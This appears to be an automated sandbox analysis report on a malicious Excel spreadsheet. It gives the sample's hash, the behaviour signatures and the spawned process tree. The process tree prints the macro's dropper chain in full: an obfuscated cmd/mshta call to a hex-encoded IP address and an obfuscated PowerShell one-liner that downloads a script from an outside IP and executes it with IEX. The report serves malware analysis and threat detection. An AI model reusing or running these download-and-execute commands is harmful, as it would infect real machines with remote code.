Analysis
- max time kernel
6s - max time network
10s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
19/01/2022, 00:39
General
- Target 16c509251625b119cb05d77a6c8a7fe7.xls
- Size 128KB
- Sample220119-azm8faecd3
- SHA256 b463abec1dfc612e1ea59fa20ed07f468fbdc69e8694a5af639fa79435ce4f58
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
http://0xb907d607/cc.html
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://185.7.214.7/PP91.PNG
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\16c509251625b119cb05d77a6c8a7fe7.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
-
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 436 -p 3556 -ip 35561⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/1192-130-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
memory/1192-131-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
memory/1192-132-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
memory/1192-133-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
memory/1192-134-0x00007FF8A6690000-0x00007FF8A66A0000-memory.dmp
memory/1192-137-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp
memory/1192-138-0x00007FF8A4630000-0x00007FF8A4640000-memory.dmp